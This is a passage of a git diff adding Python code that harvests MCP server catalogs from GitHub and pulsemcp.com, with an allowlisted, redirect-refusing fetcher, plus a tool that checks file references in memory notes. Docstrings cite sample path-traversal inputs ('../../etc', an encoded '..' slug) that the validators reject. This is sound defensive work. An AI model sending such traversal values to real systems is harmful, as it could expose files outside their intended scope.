+                if _SERVER_SECTION_MARKER in line:
+                    in_server_section = True
+                elif in_server_section:
+                    # Next top-level ## ends the server listing
+                    in_server_section = False
+                continue
+
+            # ### section inside server implementations
+            if in_server_section:
+                m = _SECTION_H3_RE.match(line)
+                if m:
+                    current_tag = _section_to_tag(m.group(1))
+            continue
+
+        if not in_server_section:
+            continue
+
+        # ----------------------------------------------------------------
+        # Entry lines start with `- ` (possibly leading whitespace)
+        # ----------------------------------------------------------------
+        stripped = line.lstrip()
+        if not stripped.startswith("- "):
+            continue
+
+        entry_body = stripped[2:]  # drop the leading "- "
+
+        # Strip badge markup first, collect all plain links
+        clean_body, links = _strip_badges_and_links(entry_body)
+
+        if not links:
+            # No markdown link at all — skip (section description, back-to-top, etc.)
+            skipped += 1
+            _logger.debug("skip (no link): %r", entry_body[:80])
+            continue
+
+        # First link is the primary entry link
+        name, primary_url = links[0]
+        name = name.strip()
+        if not name:
+            skipped += 1
+            _logger.debug("skip (empty name): %r", entry_body[:80])
+            continue
+
+        # Classify URL
+        github_url: str | None = None
+        homepage_url: str | None = None
+        primary_url = primary_url.strip()
+        if re.match(r"^https?://(?:www\.)?github\.com/", primary_url, re.IGNORECASE):
+            github_url = primary_url
+        else:
+            homepage_url = primary_url if primary_url else None
+
+        # ----------------------------------------------------------------
+        # Extract description: text after the first ` - `/ ` – `/ ` — ` separator
+        # ----------------------------------------------------------------
+        # Work on the cleaned body (badges removed) but preserve the original
+        # link text so the separator search is stable.
+        # We find the separator that appears AFTER the first link's closing `)`
+        first_link_end = clean_body.find(")", clean_body.find("]("))
+        search_from = first_link_end + 1 if first_link_end != -1 else 0
+        tail = clean_body[search_from:]
+
+        desc_match = _DESC_SEP_RE.search(tail)
+        if desc_match:
+            description: str | None = tail[desc_match.end():].strip()
+            if not description:
+                description = None
+        else:
+            description = None
+
+        # Detect language from the full original line (before cleaning)
+        language = _detect_language(entry_body)
+
+        record: dict = {
+            "name": name,
+            "sources": ["awesome-mcp"],
+            "tags": [current_tag],
+        }
+        if description:
+            record["description"] = description
+        if github_url:
+            record["github_url"] = github_url
+        if homepage_url:
+            record["homepage_url"] = homepage_url
+        if language:
+            record["language"] = language
+
+        records.append(record)
+
+    _logger.info("parsed %d entries, skipped %d", len(records), skipped)
+    return records
+
+
+# ---------------------------------------------------------------------------
+# Source class
+# ---------------------------------------------------------------------------
+
+
+class _AwesomeMcpSource:
+    name = "awesome-mcp"
+    homepage = "https://github.com/punkpeye/awesome-mcp-servers"
+
+    def fetch(self, *, limit: int | None = None, refresh: bool = False) -> Iterator[dict]:
+        """Yield raw records. Caches the README at raw/marketplace-dumps/awesome-mcp/.
+
+        Args:
+            limit: If set, yield at most this many records.
+            refresh: If ``True``, bypass the cache and re-fetch from network.
+
+        Yields:
+            Raw dicts suitable for ``McpRecord.from_dict()``.
+        """
+        cache_basename = f"README-{date.today().isoformat()}.md"
+        text: str | None = None
+        if not refresh:
+            text = read_cache(self.name, cache_basename)
+        if text is None:
+            text = fetch_text(URL)
+            write_cache(self.name, cache_basename, text)
+        records = _parse_readme(text)
+        if limit is not None:
+            records = records[:limit]
+        for r in records:
+            yield r
+
+
+SOURCE: Source = _AwesomeMcpSource()
diff --git a/src/mcp_sources/base.py b/src/mcp_sources/base.py
new file mode 100644
index 0000000000000000000000000000000000000000..52624805ee62a7fecd13f21a092d938d2b8aeefa
--- /dev/null
+++ b/src/mcp_sources/base.py
@@ -0,0 +1,297 @@
+"""
+mcp_sources/base.py -- Shared primitives for MCP catalog source modules.
+
+Each concrete source (awesome-mcp, pulsemcp, ...) lives in its own sibling
+module and exposes a ``SOURCE`` object that satisfies the :class:`Source`
+protocol.  This module provides only the plumbing: the protocol shape, a
+small cache-path helper wired to the wiki layout, and a tightly constrained
+URL fetcher that refuses to touch anything outside :data:`ALLOWED_HOSTS`.
+
+Phase-2a deliberately avoids a third-party HTTP client.  ``urllib.request``
+from the standard library is used with redirects disabled so a malicious
+listing page cannot pivot a harvest run into an unrelated host.  When
+``pulsemcp`` is added in Phase-2b, ``httpx`` becomes the transport for that
+source only; this module stays stdlib-only.
+
+This module must not print.  Callers (CLIs and batch scripts) own user
+output; library code stays quiet so it can compose cleanly under pipes.
+"""
+
+from __future__ import annotations
+
+from pathlib import Path
+from typing import Iterator, Protocol, runtime_checkable
+from urllib.error import HTTPError
+from urllib.parse import urlparse
+from urllib.request import (
+    HTTPRedirectHandler,
+    OpenerDirector,
+    Request,
+    build_opener,
+)
+
+from ctx.utils._fs_utils import atomic_write_text
+# Import the module rather than `cfg` so that ctx_config.reload()
+# (used by test_config.py) doesn't leave us holding a stale reference.
+import ctx_config as _ctx_config
+
+__all__ = [
+    "ALLOWED_HOSTS",
+    "Source",
+    "cache_path",
+    "fetch_text",
+    "read_cache",
+    "write_cache",
+]
+
+
+# ── Source protocol ───────────────────────────────────────────────────────────
+
+
+@runtime_checkable
+class Source(Protocol):
+    """One MCP catalog source.
+
+    Implementations live in ``mcp_sources/.py`` and expose a
+    module-level ``SOURCE`` attribute that satisfies this protocol.  The
+    registry in :mod:`mcp_sources.__init__` imports each module eagerly and
+    maps its ``name`` into ``SOURCES`` so the CLI dispatcher can resolve
+    ``--source `` without reflection.
+    """
+
+    name: str
+    """Canonical identifier, e.g. ``"awesome-mcp"`` or ``"pulsemcp"``."""
+
+    homepage: str
+    """Human-readable URL for logs and docs."""
+
+    def fetch(
+        self, *, limit: int | None = None, refresh: bool = False
+    ) -> Iterator[dict]:
+        """Yield raw record dicts suitable for ``McpRecord.from_dict``.
+
+        Args:
+            limit: Maximum number of records to yield.  ``None`` yields
+                everything the source exposes.
+            refresh: When ``True``, bypass the local raw cache and fetch
+                fresh upstream content before parsing.
+        """
+        ...
+
+
+# ── Raw cache ─────────────────────────────────────────────────────────────────
+
+# Wiki layout convention documented in ``docs/marketplace-registry.md``.
+# Each source gets its own subdirectory so dumps from different harvesters
+# never collide, and the cache as a whole stays under the wiki root so it
+# inherits the wiki's backup and lifecycle policies.
+_CACHE_SUBDIR = ("raw", "marketplace-dumps")
+
+
+def _validate_cache_component(value: str, *, label: str) -> str:
+    """Reject path-traversal attempts in cache path components.
+
+    ``Path.joinpath`` does not strip ``..`` segments, so a malicious or
+    buggy caller passing ``"../../etc"`` for *source_name* or *basename*
+    would resolve outside the wiki root. We constrain both components
+    to plain filenames: no path separators, no leading dot, non-empty.
+    """
+    if not value:
+        raise ValueError(f"{label} must be non-empty")
+    if "/" in value or "\\" in value or value.startswith(".") or value in {".", ".."}:
+        raise ValueError(
+            f"{label} {value!r} contains path separators or leading dot; refusing to join"
+        )
+    return value
+
+
+def cache_path(source_name: str, basename: str) -> Path:
+    """Return the on-disk path for a cached artifact belonging to *source_name*.
+
+    The caller chooses *basename* (for example ``"README-2026-04-20.md"`` or
+    ``"listing-page-1.json"``); this helper only joins it with the conventional
+    cache root.  The file is not created here -- cache writes go through
+    :func:`write_cache`.
+
+    Both *source_name* and *basename* are validated as plain filenames
+    (no path separators, no leading dot) so a hostile caller cannot
+    write outside the cache root.
+    """
+    _validate_cache_component(source_name, label="source_name")
+    _validate_cache_component(basename, label="basename")
+    return _ctx_config.cfg.wiki_dir.joinpath(*_CACHE_SUBDIR, source_name, basename)
+
+
+def read_cache(source_name: str, basename: str) -> str | None:
+    """Return cached text for *(source_name, basename)*, or ``None`` when missing."""
+    path = cache_path(source_name, basename)
+    if not path.exists():
+        return None
+    return path.read_text(encoding="utf-8")
+
+
+def write_cache(source_name: str, basename: str, content: str) -> Path:
+    """Atomically write *content* to the cache slot for *(source_name, basename)*.
+
+    Delegates to :func:`_fs_utils.atomic_write_text` so the cache cannot end
+    up half-written on a crash or on Windows AV-induced rename races.
+    """
+    path = cache_path(source_name, basename)
+    atomic_write_text(path, content)
+    return path
+
+
+# ── Safe URL fetch (SSRF-constrained) ─────────────────────────────────────────
+
+# Phase-2a sources must only reach these hosts.  The allowlist is a frozen set
+# so it is cheap to check on every request and trivially auditable.  Adding a
+# new host is an explicit code change -- no config knob, no environment
+# override -- because the whole point of the list is that the surface area of
+# the fetcher stays small and reviewable.
+ALLOWED_HOSTS: frozenset[str] = frozenset(
+    {
+        "raw.githubusercontent.com",
+        "github.com",
+        "api.github.com",
+        "www.pulsemcp.com",
+        "pulsemcp.com",
+    }
+)
+
+
+# Hard ceiling on a single response body. The README we currently fetch
+# is ~600 KB; pulsemcp listing pages are smaller. 10 MB leaves comfortable
+# headroom while bounding worst-case memory if a host streams indefinitely.
+MAX_RESPONSE_BYTES: int = 10 * 1024 * 1024
+
+
+class _DisallowedHostError(ValueError):
+    """Raised when a URL's host is not in :data:`ALLOWED_HOSTS`."""
+
+
+class _ResponseTooLargeError(ValueError):
+    """Raised when a response body exceeds :data:`MAX_RESPONSE_BYTES`."""
+
+
+class _NoRedirectHandler(HTTPRedirectHandler):
+    """Refuse every 3xx redirect.
+
+    The default :class:`urllib.request.HTTPRedirectHandler` will happily chase
+    redirects to arbitrary hosts, which completely defeats the allowlist
+    check we perform on the *original* URL.  Refusing all redirects is
+    simpler than re-validating each hop and still covers every legitimate
+    upstream we actually use -- GitHub's raw content and API endpoints
+    return 200 directly on canonical URLs.  Callers who hit a redirect
+    should surface the error and fix the URL.
+    """
+
+    def redirect_request(  # type: ignore[override]
+        self,
+        req: Request,
+        fp: object,
+        code: int,
+        msg: str,
+        headers: object,
+        newurl: str,
+    ) -> Request | None:
+        raise HTTPError(
+            req.full_url,
+            code,
+            f"redirect to {newurl!r} refused (fetch_text does not follow redirects)",
+            headers,  # type: ignore[arg-type]
+            fp,  # type: ignore[arg-type]
+        )
+
+
+def _validate_host(url: str) -> str:
+    """Return the URL's host if it's in :data:`ALLOWED_HOSTS`; raise otherwise.
+
+    https-only by policy. All allowlisted hosts serve TLS; admitting plain
+    http would expose Phase 4's GitHub token header to DNS-poisoning and
+    captive-portal MITM.
+    """
+    parsed = urlparse(url)
+    if parsed.scheme != "https":
+        raise _DisallowedHostError(
+            f"unsupported URL scheme {parsed.scheme!r} (https-only): {url!r}"
+        )
+    host = (parsed.hostname or "").lower()
+    if host not in ALLOWED_HOSTS:
+        raise _DisallowedHostError(
+            f"host {host!r} is not in the allowlist; refusing to fetch {url!r}"
+        )
+    return host
+
+
+def _build_opener() -> OpenerDirector:
+    """Build an opener that refuses redirects."""
+    return build_opener(_NoRedirectHandler())
+
+
+def fetch_text(
+    url: str,
+    *,
+    timeout: float = 30.0,
+    user_agent: str = "ctx-mcp-fetch/0.1",
+    headers: dict[str, str] | None = None,
+) -> str:
+    """GET *url* and return its UTF-8 body.
+
+    The host must be in :data:`ALLOWED_HOSTS` or a :class:`ValueError` is
+    raised before any network I/O.  Redirects are hard-disabled -- a 3xx
+    response raises :class:`urllib.error.HTTPError` rather than silently
+    pivoting to another host.
+
+    Args:
+        url: Absolute ``http(s)://`` URL.
+        timeout: Per-request timeout in seconds.
+        user_agent: ``User-Agent`` header value.  A descriptive default is
+            used because some GitHub endpoints reject empty or stdlib-default
+            agents.
+        headers: Optional extra headers merged on top of the ``User-Agent``
+            default.  Caller is responsible for not exposing secrets in logs;
+            this function does not log header values.
+
+    Raises:
+        ValueError: URL host or scheme is not allowed.
+        urllib.error.HTTPError: Non-2xx response (including refused redirect).
+        urllib.error.URLError: Network-level failure (DNS, connection, TLS).
+        TimeoutError: Request exceeded *timeout* seconds.
+    """
+    _validate_host(url)
+
+    final_headers: dict[str, str] = {"User-Agent": user_agent}
+    if headers:
+        final_headers.update(headers)
+    request = Request(url, headers=final_headers)
+    opener = _build_opener()
+
+    with opener.open(request, timeout=timeout) as response:
+        status = getattr(response, "status", None)
+        if status is None:  # Python <3.9 shims; defensive, never hit on 3.11+
+            status = response.getcode()
+        if not (200 <= int(status) < 300):
+            raise HTTPError(
+                url,
+                int(status),
+                f"non-2xx response: {status}",
+                response.headers,  # type: ignore[arg-type]
+                None,
+            )
+        # Hard cap on response body size. The awesome-mcp README is
+        # ~600 KB today; pulsemcp listing pages are smaller. 10 MB
+        # leaves comfortable headroom while preventing a malicious or
+        # misbehaving allowlisted host from streaming arbitrary memory.
+        # We read MAX+1 bytes so we can detect overflow rather than
+        # silently truncate.
+        raw = response.read(MAX_RESPONSE_BYTES + 1)
+        if len(raw) > MAX_RESPONSE_BYTES:
+            raise _ResponseTooLargeError(
+                f"response body exceeded {MAX_RESPONSE_BYTES:,} bytes for {url!r}"
+            )
+
+    # Charset handling: fall back to UTF-8 if the server omits a charset or
+    # advertises something we can't decode.  The sources we target are all
+    # UTF-8 in practice; a bad charset hint should not silently corrupt
+    # downstream parsing.
+    return raw.decode("utf-8", errors="replace")
diff --git a/src/mcp_sources/pulsemcp.py b/src/mcp_sources/pulsemcp.py
new file mode 100644
index 0000000000000000000000000000000000000000..3ea5feea7ff1549ffa17af808ee3b06608addce1
--- /dev/null
+++ b/src/mcp_sources/pulsemcp.py
@@ -0,0 +1,350 @@
+"""src/mcp_sources/pulsemcp.py -- Source for pulsemcp.com (HTML scraping mode).
+
+Iterates the public listing pages at https://www.pulsemcp.com/servers
+?page=N. Stdlib only (html.parser). No credentials required — the
+authenticated JSON API at /api/v0.1 is documented but gated behind
+manual approval; scraping the public pages is the only path users
+without a partnership API key can take.
+
+Each listing page returns 42 server cards. Total ~12,975 servers
+across ~310 pages as of v0.6.5. Detail-page enrichment (github_url,
+language, transports) is deferred to Phase 6 — Phase 2b.5 ships only
+the listing-card data: slug (from URL), name (from h3), creator,
+description, classification (official / community / reference).
+
+The HTML structure is content-addressed via ``data-test-id="mcp-server-card-"``
+attributes which gives us a stable card boundary without depending on
+class names that may shift with a frontend redesign.
+"""
+
+from __future__ import annotations
+
+import re
+from collections.abc import Iterator
+from datetime import date
+from html.parser import HTMLParser
+from urllib.parse import quote as _url_quote
+
+from mcp_sources.base import Source, fetch_text, read_cache, write_cache
+
+__all__ = ["SOURCE"]
+
+LISTING_BASE = "https://www.pulsemcp.com/servers"
+_TOTAL_PAGES_FALLBACK = 310  # As of 2026-04: 12,975 servers / 42 per page = 310
+
+# Card boundary marker — content-addressed so a frontend restyle of
+# class names doesn't silently break the parser.
+_CARD_TEST_ID_RE = re.compile(r'data-test-id="mcp-server-card-([a-z0-9][a-z0-9_-]+)"')
+
+# Detail-page anchors — used by fetch_details(). The GitHub-repo
+# anchor is a structural marker (``data-test-id``) which is why we
+# prefer it over class-based matching that'd break on a frontend
+# restyle. Pulsemcp emits this anchor only for MCPs whose creator
+# claimed a GitHub repo; SaaS-wrapper MCPs legitimately omit it.
+#
+# Attribute order inside the ```` is not stable (we've seen both
+# ``data-test-id`` then ``href`` and ``href`` then ``data-test-id``),
+# so we anchor on the test-id and extract href + inner separately
+# rather than encoding an attribute order into a single regex.
+_DETAIL_REPO_TAG_RE = re.compile(
+    r']*?data-test-id="mcp-server-github-repo"[^>]*?>'
+    r'(?P.*?)',
+    re.DOTALL,
+)
+_DETAIL_REPO_HREF_RE = re.compile(
+    r'href="(?Phttps://github\.com/[A-Za-z0-9_.\-/]+)"'
+)
+# Stars render as ``(N stars)`` or ``(N star)`` inside the GitHub
+# anchor, often wrapped across multiple lines with whitespace/newlines
+# between ``(``, the number, and the word. ``\s+`` matches newlines so
+# the pattern survives pulsemcp's pretty-printed markup.
+_STARS_RE = re.compile(r'\(\s*(\d+)\s+stars?\s*\)', re.DOTALL)
+
+
+class _CardTextExtractor(HTMLParser):
+    """Stream-extract text content per tag inside one server card.
+
+    Builds an ordered list of ``(tag, attrs, text)`` triples for every
+    leaf text node, plus a separate flat string of all text for fallback
+    matching. We keep both so the record-mapping step can prefer
+    structural matches (h3 → name, gray-500 p → creator) while degrading
+    gracefully when the markup shifts.
+    """
+
+    def __init__(self) -> None:
+        super().__init__(convert_charrefs=True)
+        self.items: list[tuple[str, dict[str, str], str]] = []
+        self._stack: list[tuple[str, dict[str, str]]] = []
+        self._buffer: list[str] = []
+
+    def _flush(self) -> None:
+        if not self._stack:
+            return
+        text = "".join(self._buffer).strip()
+        if text:
+            tag, attrs = self._stack[-1]
+            self.items.append((tag, attrs, text))
+        self._buffer = []
+
+    def handle_starttag(self, tag: str, attrs: list[tuple[str, str | None]]) -> None:
+        self._flush()
+        attrs_dict = {k: (v or "") for k, v in attrs}
+        self._stack.append((tag, attrs_dict))
+
+    def handle_endtag(self, tag: str) -> None:
+        self._flush()
+        if self._stack and self._stack[-1][0] == tag:
+            self._stack.pop()
+
+    def handle_data(self, data: str) -> None:
+        self._buffer.append(data)
+
+
+def _split_cards(html: str) -> list[str]:
+    """Return the substring slice for each card found in *html*.
+
+    Uses ``data-test-id="mcp-server-card-"`` as the anchor and
+    walks forward to the next card anchor (or end of input) to bound
+    the slice. Avoids html.parser overhead for the page-level split.
+    """
+    anchors = list(_CARD_TEST_ID_RE.finditer(html))
+    if not anchors:
+        return []
+    slices = []
+    for i, m in enumerate(anchors):
+        # Walk back to the opening  inside the ,
+        # so we step back to the nearest = 0 else m.start()
+        slices.append(html[start:end])
+    return slices
+
+
+def _slug_from_card(card_html: str) -> str | None:
+    """Extract the slug from the card's data-test-id."""
+    m = _CARD_TEST_ID_RE.search(card_html)
+    return m.group(1) if m else None
+
+
+def _to_record(card_html: str) -> dict | None:
+    """Map one server card's HTML slice to a McpRecord-compatible dict.
+
+    Returns ``None`` when the card is too malformed to use (no slug
+    or no name). Listing-page data is sparse: we get slug, name,
+    creator, description, classification. github_url, language, and
+    transports remain unset until Phase 6 fetches detail pages.
+    """
+    slug = _slug_from_card(card_html)
+    if not slug:
+        return None
+
+    extractor = _CardTextExtractor()
+    try:
+        extractor.feed(card_html)
+    except Exception:  # noqa: BLE001 — html.parser may choke on malformed input
+        return None
+
+    name: str | None = None
+    creator: str | None = None
+    description: str | None = None
+    classification: str | None = None
+    saw_classification_label = False
+
+    for tag, attrs, text in extractor.items:
+        cls = attrs.get("class", "")
+        if name is None and tag == "h3":
+            name = text
+            continue
+        if creator is None and tag == "p" and "text-gray-500" in cls:
+            creator = text
+            continue
+        if description is None and tag == "p" and "text-pulse-black" in cls and "leading-relaxed" in cls:
+            description = text
+            continue
+        if tag == "p" and "Classification" in text:
+            saw_classification_label = True
+            continue
+        if saw_classification_label and tag == "p" and classification is None:
+            # Next text-bearing 
     after the label carries the value.
+            classification = text.strip().lower()
+            saw_classification_label = False
+
+    if not name:
+        # Fall back to the slug itself; better than dropping the card.
+        name = slug.replace("-", " ").title()
+
+    record: dict = {
+        "name": name,
+        "sources": ["pulsemcp"],
+        "homepage_url": f"{LISTING_BASE}/{slug}",
+    }
+    if description:
+        record["description"] = description
+    if creator:
+        record["author"] = creator
+    tags: list[str] = []
+    if classification == "official":
+        tags.append("official")
+    elif classification == "community":
+        tags.append("community")
+    elif classification == "reference":
+        tags.append("reference")
+    if tags:
+        record["tags"] = tags
+    return record
+
+
+def _parse_listing(html: str) -> list[dict]:
+    """Parse one listing page's HTML into a list of raw record dicts.
+
+    Pure function — no I/O. Tested against a recorded fixture excerpt.
+    Skipped cards (no slug) are dropped silently; partial cards (no
+    name) fall back to the slug-derived name rather than being dropped.
+    """
+    out: list[dict] = []
+    for card_html in _split_cards(html):
+        record = _to_record(card_html)
+        if record is not None:
+            out.append(record)
+    return out
+
+
+def _fetch_page(page: int, *, refresh: bool) -> str:
+    """Fetch one listing page's HTML, with date-keyed caching."""
+    today = date.today().isoformat()
+    basename = f"{today}--page-{page:04d}.html"
+    source_name = "pulsemcp"
+
+    cached = None if refresh else read_cache(source_name, basename)
+    if cached is not None:
+        return cached
+
+    url = f"{LISTING_BASE}?page={page}"
+    text = fetch_text(url)
+    write_cache(source_name, basename, text)
+    return text
+
+
+def _parse_detail(html: str) -> dict:
+    """Extract enrichable fields from a pulsemcp detail page.
+
+    Returns a dict with these optional keys:
+
+      - ``github_url``: the repo URL from the ``mcp-server-github-repo``
+        anchor. Absent when the MCP has no linked repo (SaaS wrappers).
+      - ``stars``: int, parsed from the ``(N stars)`` label inside the
+        same anchor. Absent when the label is missing.
+
+    Never raises for missing fields — the whole point of Phase 6f.A
+    is that we can enrich what's there and leave the rest null.
+    """
+    out: dict = {}
+    tag_m = _DETAIL_REPO_TAG_RE.search(html)
+    if tag_m is None:
+        return out
+
+    # Scan the whole anchor block — not just the matched slice — for
+    # the href, because attributes before the test-id (which the tag
+    # regex captures) live outside the ``inner`` group.
+    anchor_block = tag_m.group(0)
+    href_m = _DETAIL_REPO_HREF_RE.search(anchor_block)
+    if href_m is not None:
+        # Strip trailing slash + any fragment/query so the URL form
+        # is canonical (the Phase 6f.B GitHub API consumer wants a
+        # bare ``https://github.com//``).
+        url = href_m.group("url").rstrip("/")
+        url = url.split("#", 1)[0].split("?", 1)[0]
+        out["github_url"] = url
+
+    stars_m = _STARS_RE.search(tag_m.group("inner"))
+    if stars_m is not None:
+        try:
+            out["stars"] = int(stars_m.group(1))
+        except ValueError:
+            pass  # non-integer — leave unset rather than guessing
+    return out
+
+
+def _fetch_detail_html(slug: str, *, refresh: bool) -> str:
+    """Fetch one detail page's HTML, date-keyed cache. Mirror of _fetch_page.
+
+    The slug is URL-encoded before interpolation so a value like
+    ``foo%2F..%2Fadmin`` extracted from a poisoned entity frontmatter
+    can't traverse to an unintended pulsemcp path. ``quote(slug, safe="")``
+    percent-encodes every non-unreserved character, including ``/`` and
+    ``%`` itself — a slug that legitimately contains a ``/`` wouldn't
+    be a valid pulsemcp slug anyway.
+    """
+    today = date.today().isoformat()
+    # Cache basename has to be filesystem-safe; the URL-encoded form
+    # keeps it safe AND round-trips in the filesystem unchanged.
+    safe_slug = _url_quote(slug, safe="")
+    basename = f"{today}--detail-{safe_slug}.html"
+    source_name = "pulsemcp"
+
+    cached = None if refresh else read_cache(source_name, basename)
+    if cached is not None:
+        return cached
+
+    url = f"{LISTING_BASE}/{safe_slug}"
+    text = fetch_text(url)
+    write_cache(source_name, basename, text)
+    return text
+
+
+class _PulsemcpSource:
+    name = "pulsemcp"
+    homepage = "https://www.pulsemcp.com/servers"
+
+    def fetch_details(self, slug: str, *, refresh: bool = False) -> dict:
+        """Fetch ``pulsemcp.com/servers/`` and return enrichment fields.
+
+        Returns ``{"github_url": str, "stars": int}`` with either key
+        optional. An HTTP 404 (slug since removed) raises HTTPError and
+        the caller is expected to convert it to a per-slug failure
+        without aborting a batch. Any other network error also raises.
+
+        This is the fetch primitive for Phase 6f.A: the outer
+        ``mcp_enrich`` orchestrator handles checkpoint + frontmatter
+        updates across the full 10,786-slug catalog.
+        """
+        html = _fetch_detail_html(slug, refresh=refresh)
+        return _parse_detail(html)
+
+    def fetch(self, *, limit: int | None = None, refresh: bool = False) -> Iterator[dict]:
+        """Walk pulsemcp listing pages until exhausted or *limit* reached.
+
+        Each page yields ~42 records. Stops early when:
+          - *limit* records have been yielded
+          - A page returns 0 cards (means we ran past the end)
+          - We hit page _TOTAL_PAGES_FALLBACK (hard ceiling against
+            runaway loops if the parser misses the empty signal)
+
+        Args:
+            limit: Maximum records to yield. ``None`` yields everything.
+            refresh: Bypass the local raw cache and re-fetch from network.
+
+        Yields:
+            Raw dicts suitable for ``McpRecord.from_dict()``.
+        """
+        yielded = 0
+        for page in range(1, _TOTAL_PAGES_FALLBACK + 1):
+            if limit is not None and yielded >= limit:
+                return
+            html = _fetch_page(page, refresh=refresh)
+            records = _parse_listing(html)
+            if not records:
+                # Past the last populated page.
+                return
+            for record in records:
+                if limit is not None and yielded >= limit:
+                    return
+                yield record
+                yielded += 1
+
+
+SOURCE: Source = _PulsemcpSource()
diff --git a/src/memory_anchor.py b/src/memory_anchor.py
new file mode 100644
index 0000000000000000000000000000000000000000..7ac6573a2c4915b2bdf0b31f4108a90c6f279e16
--- /dev/null
+++ b/src/memory_anchor.py
@@ -0,0 +1,361 @@
+#!/usr/bin/env python3
+"""
+memory_anchor.py -- Diff-aware memory anchoring for the auto-memory store.
+
+Auto-memory notes live under:
+
+    ~/.claude/projects//memory/*.md
+
+They accumulate backtick-wrapped file references that rot as the codebase
+moves. This module scans each memory file, pulls out references that look
+like file paths, and verifies whether each resolves under a repository
+root. It then renders a dashboard and, under ``check --strict``, exits
+non-zero when any reference is dead.
+
+Reference shapes we recognize (inside backtick code spans only, to avoid
+false positives on prose):
+
+    `scan_repo.py`                — bare file with known extension
+    `src/foo.py`                  — relative path with slash
+    `src/foo.py:42`               — with optional line suffix
+    `~/.claude/skills/foo/SKILL.md` — tilde-expanded absolute path
+
+No prose is parsed. If a path isn't in backticks, it isn't a reference.
+
+Usage:
+    python src/memory_anchor.py scan
+    python src/memory_anchor.py dashboard
+    python src/memory_anchor.py check --strict   # exit 2 if dead refs
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import os
+import re
+import sys
+import time
+from dataclasses import asdict, dataclass
+from pathlib import Path
+from typing import Sequence
+
+
+# ── Paths & config defaults ────────────────────────────────────────────────
+
+
+DEFAULT_MEMORY_ROOT = Path(os.path.expanduser("~/.claude/projects"))
+
+
+KNOWN_EXTENSIONS = frozenset({
+    ".py", ".md", ".json", ".yaml", ".yml", ".toml",
+    ".ts", ".tsx", ".js", ".jsx", ".mjs", ".cjs",
+    ".rs", ".go", ".java", ".c", ".h", ".cpp", ".hpp",
+    ".sh", ".bash", ".zsh", ".fish",
+    ".html", ".css", ".scss", ".sass",
+    ".sql", ".txt", ".rst", ".ini", ".cfg",
+})
+
+# Inline code spans: backtick-delimited, not crossing newlines.
+_CODE_SPAN = re.compile(r"`([^`\n]+)`")
+
+# Trailing ``:`` to strip (keep drive letters like ``C:`` intact by
+# requiring purely digit tail).
+_LINE_TAIL = re.compile(r":(\d+)$")
+
+
+# ── Data model ─────────────────────────────────────────────────────────────
+
+
+@dataclass(frozen=True)
+class AnchorRef:
+    raw: str           # exactly what the memory note wrote between backticks
+    path: str          # normalised path sans line suffix
+    line: int | None   # optional line number if suffix was present
+    exists: bool
+
+    def to_dict(self) -> dict:
+        return asdict(self)
+
+
+@dataclass(frozen=True)
+class MemoryAnchorFile:
+    memory_path: str
+    refs: tuple[AnchorRef, ...]
+
+    @property
+    def live(self) -> tuple[AnchorRef, ...]:
+        return tuple(r for r in self.refs if r.exists)
+
+    @property
+    def dead(self) -> tuple[AnchorRef, ...]:
+        return tuple(r for r in self.refs if not r.exists)
+
+    def to_dict(self) -> dict:
+        return {
+            "memory_path": self.memory_path,
+            "refs": [r.to_dict() for r in self.refs],
+            "live": [r.to_dict() for r in self.live],
+            "dead": [r.to_dict() for r in self.dead],
+        }
+
+
+@dataclass(frozen=True)
+class AnchorReport:
+    generated_at: float
+    repo_root: str
+    memory_root: str
+    files: tuple[MemoryAnchorFile, ...]
+
+    @property
+    def all_refs(self) -> tuple[AnchorRef, ...]:
+        out: list[AnchorRef] = []
+        for f in self.files:
+            out.extend(f.refs)
+        return tuple(out)
+
+    @property
+    def dead_count(self) -> int:
+        return sum(1 for r in self.all_refs if not r.exists)
+
+    @property
+    def live_count(self) -> int:
+        return sum(1 for r in self.all_refs if r.exists)
+
+    @property
+    def has_dead(self) -> bool:
+        return self.dead_count > 0
+
+    def to_dict(self) -> dict:
+        return {
+            "generated_at": self.generated_at,
+            "repo_root": self.repo_root,
+            "memory_root": self.memory_root,
+            "files": [f.to_dict() for f in self.files],
+            "totals": {
+                "total": len(self.all_refs),
+                "live": self.live_count,
+                "dead": self.dead_count,
+            },
+        }
+
+
+# ── Reference extraction ───────────────────────────────────────────────────
+
+
+def _looks_like_path(token: str) -> bool:
+    """
+    Heuristic: token looks like a file path if it has a known extension OR
+    contains a slash with a dotted last segment.
+
+    Rejects obvious non-paths: shell-style flags, bare function names like
+    ``add_skill()``, URLs, commit hashes.
+    """
+    t = token.strip()
+    if not t or any(ch.isspace() for ch in t):
+        return False
+    if t.startswith(("-", "http://", "https://")):
+        return False
+    if t.endswith("()"):
+        return False
+    stripped = _LINE_TAIL.sub("", t)
+    lower = stripped.lower()
+    for ext in KNOWN_EXTENSIONS:
+        if lower.endswith(ext):
+            return True
+    if "/" in stripped:
+        tail = stripped.rsplit("/", 1)[-1]
+        if "." in tail and not tail.startswith("."):
+            return True
+    return False
+
+
+def _strip_line_suffix(token: str) -> tuple[str, int | None]:
+    m = _LINE_TAIL.search(token)
+    if not m:
+        return token, None
+    return token[: m.start()], int(m.group(1))
+
+
+def extract_refs(text: str) -> list[tuple[str, str, int | None]]:
+    """
+    Return a list of (raw, path, line) triples for every backtick span that
+    looks like a file path. Preserves document order; deduplicates within
+    one document (same raw token scanned once).
+    """
+    seen: set[str] = set()
+    out: list[tuple[str, str, int | None]] = []
+    for match in _CODE_SPAN.finditer(text):
+        raw = match.group(1).strip()
+        if raw in seen:
+            continue
+        if not _looks_like_path(raw):
+            continue
+        seen.add(raw)
+        path, line = _strip_line_suffix(raw)
+        out.append((raw, path, line))
+    return out
+
+
+# ── Resolution ─────────────────────────────────────────────────────────────
+
+
+def _resolve(path_str: str, repo_root: Path) -> bool:
+    """
+    A reference resolves if:
+      - absolute path (or tilde-expanded) exists, OR
+      - joining against repo_root exists, OR
+      - joining against repo_root/src exists (common Python convention).
+    """
+    expanded = os.path.expanduser(path_str)
+    p = Path(expanded)
+    if p.is_absolute():
+        return p.exists()
+    candidates = [
+        repo_root / expanded,
+        repo_root / "src" / expanded,
+    ]
+    return any(c.exists() for c in candidates)
+
+
+def scan_memory_file(memory_path: Path,
+                     repo_root: Path) -> MemoryAnchorFile:
+    try:
+        text = memory_path.read_text(encoding="utf-8", errors="replace")
+    except OSError:
+        return MemoryAnchorFile(memory_path=str(memory_path), refs=())
+    refs: list[AnchorRef] = []
+    for raw, path, line in extract_refs(text):
+        refs.append(AnchorRef(
+            raw=raw,
+            path=path,
+            line=line,
+            exists=_resolve(path, repo_root),
+        ))
